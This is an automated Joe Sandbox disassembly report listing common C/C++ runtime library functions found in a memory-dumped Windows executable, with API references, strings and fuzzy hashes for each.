Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 28f5a0049cf8f4a49f2adafbabbd1c12532ecc68f55ddaeecc556ef76be351f7
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: 97C08C34400A00C6CE398A2482713A4335DEBE2782FA804CEDC1A0B742C51EDC82DA31

Function 00DCA5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 00DCA6E7
___TypeMatch.LIBVCRUNTIME ref: 00DCA7F5
CallUnexpected.LIBVCRUNTIME ref: 00DCA962

Strings

csm, xrefs: 00DCA605
csm, xrefs: 00DCA672
csm, xrefs: 00DCA71E

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 27970c9ccdf6583085150afd542c15f38a80c68bfcd9e05aedade6793cf789c9
Instruction ID: e3e863fad935d5f27d88e56bc645e4a3d7c6c35d357052e0c5f79aa74c82eacb
Opcode Fuzzy Hash: 27970c9ccdf6583085150afd542c15f38a80c68bfcd9e05aedade6793cf789c9
Instruction Fuzzy Hash: 31B1367180021EABCF15DFA8C981EAEB7B5FF14318B19415EE8116B212D731DA52CFB2

Function 00DD5F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,D6D589D4,?,00DD6057,00DCC446,?,F8250000,00000000), ref: 00DD600B

Strings

api-ms-, xrefs: 00DD5FA1
ext-ms-, xrefs: 00DD5FB5

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 2905f8eb55dcea0663d808bd370feafec6c46192d77bf389218f846f14b9dcaa
Instruction ID: 48965d3fe3d4588f42ca45b17d3dc81a56c5ce16df4cda057c1ed69553968346
Opcode Fuzzy Hash: 2905f8eb55dcea0663d808bd370feafec6c46192d77bf389218f846f14b9dcaa
Instruction Fuzzy Hash: 5621A535A01651ABC721AB75EC88A6E7768AF417A0B280116F916FF3D4DB30EE04C6F0

Function 00DDF356 Relevance: 9.3, APIs: 6, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cb66ae9dc29736f4ff5dc602620a4a20f6235090e7f023d2a42173578b6c32fe
Instruction ID: f0787acf85e74c588315afffbfb0543086035854a2d5bc3ae64e862d7e3c6792
Opcode Fuzzy Hash: cb66ae9dc29736f4ff5dc602620a4a20f6235090e7f023d2a42173578b6c32fe
Instruction Fuzzy Hash: DAB1C170A00249AFDB11DFA9D884BADBBB1FF45300F18416AE542AB3A2CB71DD41CB70

Function 00DC53B1 Relevance: 9.1, APIs: 6, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00DC53B8
std::_Lockit::_Lockit.LIBCPMT ref: 00DC53C2
int.LIBCPMT ref: 00DC53D9

Part of subcall function 00DC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DC16C5
Part of subcall function 00DC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DC16DF

std::_Facet_Register.LIBCPMT ref: 00DC5413
std::_Lockit::~_Lockit.LIBCPMT ref: 00DC5433
Concurrency::cancel_current_task.LIBCPMT ref: 00DC5440

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 13cd68b771c97b3bfd1be93e3d913ea7247bc4529ddd22fab5d2369f31164dce
Instruction ID: 34197a12a8432b6b92f28ea74e18524a968a636b78ccb5b1fdef8efe91a07f35
Opcode Fuzzy Hash: 13cd68b771c97b3bfd1be93e3d913ea7247bc4529ddd22fab5d2369f31164dce
Instruction Fuzzy Hash: 8311D27591062ACFCB15EB64D805FAE77B4EF44321F54054DF805AB291DF70AE408BB0

Function 00DCA25A Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00DCA251,00DC8978,00DC7AFF), ref: 00DCA268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00DCA276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00DCA28F
SetLastError.KERNEL32(00000000,00DCA251,00DC8978,00DC7AFF), ref: 00DCA2E1

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 3632433e352c635da1f55066d6de3149fd38335906e72f6c8b4a76db20f0f4dc
Instruction ID: ef92bb1af5a0a991b5db5b071bbfc71e5b33002777cccc92ce6270f148d9f298
Opcode Fuzzy Hash: 3632433e352c635da1f55066d6de3149fd38335906e72f6c8b4a76db20f0f4dc
Instruction Fuzzy Hash: 6201B53251D3676EA62437B87CC6F666746EB0277DB24022EF1108B1E1EF528D02517A

Function 00DD0F50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,D6D589D4,?,?,00000000,00DE1FC8,000000FF,?,00DD0EE0,00DD1010,?,00DD0EB4,00000000), ref: 00DD0F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DD0F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,00DE1FC8,000000FF,?,00DD0EE0,00DD1010,?,00DD0EB4,00000000), ref: 00DD0FB9

Strings

CorExitProcess, xrefs: 00DD0F8F
mscoree.dll, xrefs: 00DD0F7E

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: cffa64d000bd6436ea9d83ec169476a4b06b7eca58a2642f1b738212b0f3c982
Instruction ID: 51501511507624930fb2c256a160def31b993965b5d156db49eb478cdc4cb844
Opcode Fuzzy Hash: cffa64d000bd6436ea9d83ec169476a4b06b7eca58a2642f1b738212b0f3c982
Instruction Fuzzy Hash: 3E014431504795AFDB11AF51DC49BBEBBB8FB44B14F040529F811E6390DB74A904CAA0

Function 00DC4436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DC4442
int.LIBCPMT ref: 00DC4455

Part of subcall function 00DC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DC16C5
Part of subcall function 00DC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DC16DF

std::_Facet_Register.LIBCPMT ref: 00DC4488
std::_Lockit::~_Lockit.LIBCPMT ref: 00DC449E
Concurrency::cancel_current_task.LIBCPMT ref: 00DC44A9

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: aaeac095000eaa0ab580c5a543225c68d899da79d7c6a34a44c66b55be8954a1
Instruction ID: 60951c781cecae97a0d2512bacca20b7b3de777f461e6c2a890c84a63cd9ab9c
Opcode Fuzzy Hash: aaeac095000eaa0ab580c5a543225c68d899da79d7c6a34a44c66b55be8954a1
Instruction Fuzzy Hash: BB01F77650012AABCB19AB64DC15FAE7B78EF81360B24014DF906A7291DB709E01CBB0

Function 00DC3DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DC3DBD
int.LIBCPMT ref: 00DC3DD0

Part of subcall function 00DC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DC16C5
Part of subcall function 00DC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DC16DF

std::_Facet_Register.LIBCPMT ref: 00DC3E03
std::_Lockit::~_Lockit.LIBCPMT ref: 00DC3E19
Concurrency::cancel_current_task.LIBCPMT ref: 00DC3E24

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: b60b7b96be30d8805d201b254e46071fe2a1a3583d1adaecba7cee7a68ae5457
Instruction ID: 8c5ca10e931a135134dbb117dd2726f3fea8037dd9e911cd6616221df36a4677
Opcode Fuzzy Hash: b60b7b96be30d8805d201b254e46071fe2a1a3583d1adaecba7cee7a68ae5457
Instruction Fuzzy Hash: CE01A776900516ABCB25AB54DC05E9E7B7CEF81760B14424DF906A7291DB34AE05CBB0

Function 00DC4308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00DC4315
int.LIBCPMT ref: 00DC4328

Part of subcall function 00DC16B4: std::_Lockit::_Lockit.LIBCPMT ref: 00DC16C5
Part of subcall function 00DC16B4: std::_Lockit::~_Lockit.LIBCPMT ref: 00DC16DF

std::_Facet_Register.LIBCPMT ref: 00DC435B
std::_Lockit::~_Lockit.LIBCPMT ref: 00DC4371
Concurrency::cancel_current_task.LIBCPMT ref: 00DC437C

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 547e2a8cba45522e1704c1fdf107cdcbe4e96d2b011eb803e64068dfaa529652
Instruction ID: cc3effbc92b54bfc02e7a01c1cd45a0040c6bb65ceb3d16923884cb5ebd47675
Opcode Fuzzy Hash: 547e2a8cba45522e1704c1fdf107cdcbe4e96d2b011eb803e64068dfaa529652
Instruction Fuzzy Hash: 0D01F73690052AABCB21BB64DC15EDD7B74EFC1320B14015DF906AB291DF309E05CBB0

Function 00DC507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00DC5081
std::_Lockit::_Lockit.LIBCPMT ref: 00DC508C
std::locale::_Setgloballocale.LIBCPMT ref: 00DC50A7
_Yarn.LIBCPMT ref: 00DC50BD
std::_Lockit::~_Lockit.LIBCPMT ref: 00DC50FA

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 83fcfeabb864753ec77f5a83c46e1a458aa9fe5340e8816847ee8ea7d59f0476
Instruction ID: 1e24834cdf73a244e91fb9e3666f9fc6afb5c7c2bf741bcea017812d13720048
Opcode Fuzzy Hash: 83fcfeabb864753ec77f5a83c46e1a458aa9fe5340e8816847ee8ea7d59f0476
Instruction Fuzzy Hash: F7019E35A006569FC706BB20986AF7C7BA1FF84340B18400DF90257381CB34AE45DFB5

Function 00E0961A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00E09626

Part of subcall function 00E08E77: __getptd_noexit.LIBCMT ref: 00E08E7A
Part of subcall function 00E08E77: __amsg_exit.LIBCMT ref: 00E08E87

__getptd.LIBCMT ref: 00E0963D
__amsg_exit.LIBCMT ref: 00E0964B
__lock.LIBCMT ref: 00E0965B
__updatetlocinfoEx_nolock.LIBCMT ref: 00E0966F

Memory Dump Source

Source File: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction ID: 5f6dfc80b9410b93255000d942744e2f0cc2ff89f8514e52f01ce5c98933ced3
Opcode Fuzzy Hash: d724d9d4d980fd5611dec467c746fa333166a6991964497677ff17d61b2cffb3
Instruction Fuzzy Hash: 87F09632A05710DBD6217F68AC02B5D33D0AF00724F552149F484B61D3CF3569C1DA56

Function 00DCB3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00DCB353,00000000,?,00E3B6E4,?,?,?,00DCB4F6,00000004,InitializeCriticalSectionEx,00DE4BD8,InitializeCriticalSectionEx), ref: 00DCB3AF
GetLastError.KERNEL32(?,00DCB353,00000000,?,00E3B6E4,?,?,?,00DCB4F6,00000004,InitializeCriticalSectionEx,00DE4BD8,InitializeCriticalSectionEx,00000000,?,00DCB2AD), ref: 00DCB3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00DCB3E1

Strings

api-ms-, xrefs: 00DCB3C6

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 2439801e1f122bc8bdd5f1698039a8c0b3e3419e216f9c902a36f55539573df7
Instruction ID: f7faad4f86741907515a9449b4db9e080a83bb7e2654d44d21186b87b31b094f
Opcode Fuzzy Hash: 2439801e1f122bc8bdd5f1698039a8c0b3e3419e216f9c902a36f55539573df7
Instruction Fuzzy Hash: 38E012302403C5B7EA112FB1EC8AF293A549B00B61F144026FA0CE91E1D761DA5086B4

Function 00DD7747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(D6D589D4,00000000,00000000,00000000), ref: 00DD77AA

Part of subcall function 00DD952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00DD8FD3,?,00000000,-00000008), ref: 00DD95D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00DD7A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00DD7A4D
GetLastError.KERNEL32 ref: 00DD7AF0

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 458884a6bd23751045ac5451d8d6781b476657c4123098c35bad23d02d3df28d
Instruction ID: 5be698369dc4026402d8144bbfc1e4ea3f80a779bf59a9437cd7efe83587193f
Opcode Fuzzy Hash: 458884a6bd23751045ac5451d8d6781b476657c4123098c35bad23d02d3df28d
Instruction Fuzzy Hash: DCD17975E04258AFCB15CFA8C8849ADFBB5FF09300F18416AE85AEB351E730A945CF60

Function 00DCA371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00DCA438
___AdjustPointer.LIBCMT ref: 00DCA45B
___AdjustPointer.LIBCMT ref: 00DCA4F7

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 2a2fcd8a4a72629dcd206d95955fa3c4f49e59350dff3586a302bea828dbe3fd
Instruction ID: 6b6e022c6a27a4c097eb7be30761f577387f524ca940f777d5c7aab8bcc42979
Opcode Fuzzy Hash: 2a2fcd8a4a72629dcd206d95955fa3c4f49e59350dff3586a302bea828dbe3fd
Instruction Fuzzy Hash: A951257260820B9FDB298F98D845F7A77B4EF00318F28452DE84987291E771EC41DBB2

Function 00DE06EF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,00000000,?,00DDF713,00000000,00000001,00000000,00000000,?,00DD7B44,00000000,00000000,00000000), ref: 00DE0706
GetLastError.KERNEL32(?,00DDF713,00000000,00000001,00000000,00000000,?,00DD7B44,00000000,00000000,00000000,00000000,00000000,?,00DD80CB,00000000), ref: 00DE0712

Part of subcall function 00DE06D8: CloseHandle.KERNEL32(FFFFFFFE,00DE0722,?,00DDF713,00000000,00000001,00000000,00000000,?,00DD7B44,00000000,00000000,00000000,00000000,00000000), ref: 00DE06E8

___initconout.LIBCMT ref: 00DE0722

Part of subcall function 00DE069A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00DE06C9,00DDF700,00000000,?,00DD7B44,00000000,00000000,00000000,00000000), ref: 00DE06AD

WriteConsoleW.KERNEL32(00000000,0000000C,?,00000000,?,00DDF713,00000000,00000001,00000000,00000000,?,00DD7B44,00000000,00000000,00000000,00000000), ref: 00DE0737

Memory Dump Source

Source File: 00000000.00000002.2221397946.0000000000DC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000000.00000002.2221371262.0000000000DC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221447150.0000000000DE3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221492394.0000000000DED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221547372.0000000000E3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221571100.0000000000E3B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2221600855.0000000000E3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_dc0000_file.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: f2fcf4ee33fe96363edde5bcda5a6359875987c1c0e34a400f7dd16a9b3b9a3f
